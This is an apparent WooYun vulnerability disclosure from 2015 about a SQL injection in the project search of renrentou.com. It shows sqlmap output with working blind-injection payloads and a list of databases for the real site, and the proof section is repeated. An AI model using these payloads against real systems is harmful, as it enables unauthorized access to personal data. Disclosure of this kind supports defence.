当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125849

漏洞标题:人人投某站存在SQL注入漏洞导致二十万信息泄露

相关厂商:renrentou.com

漏洞作者: 浮萍

提交时间:2015-07-10 09:58

修复时间:2015-08-24 10:00

公开时间:2015-08-24 10:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SQL注入

详细说明:

主站
http://www.renrentou.com/

Snap33.jpg


搜索处

Snap34.jpg


http://www.renrentou.com/project/list?keyword=*

custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[09:40:36] [INFO] resuming back-end DBMS 'mysql'
[09:40:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.renrentou.com:80/project/list?keyword=%' AND 7535=7535 A
ND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.renrentou.com:80/project/list?keyword=%' AND SLEEP(5) AN
D '%'='
---
[09:40:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] renrentou


查看表

Snap32.jpg


300个
account应该存的账号

Snap36.jpg


漏洞证明:

主站
http://www.renrentou.com/

Snap33.jpg


搜索处

Snap34.jpg


http://www.renrentou.com/project/list?keyword=*

custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[09:40:36] [INFO] resuming back-end DBMS 'mysql'
[09:40:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.renrentou.com:80/project/list?keyword=%' AND 7535=7535 A
ND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.renrentou.com:80/project/list?keyword=%' AND SLEEP(5) AN
D '%'='
---
[09:40:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] renrentou


查看表

Snap32.jpg


300个
account应该存的账号

Snap36.jpg


修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)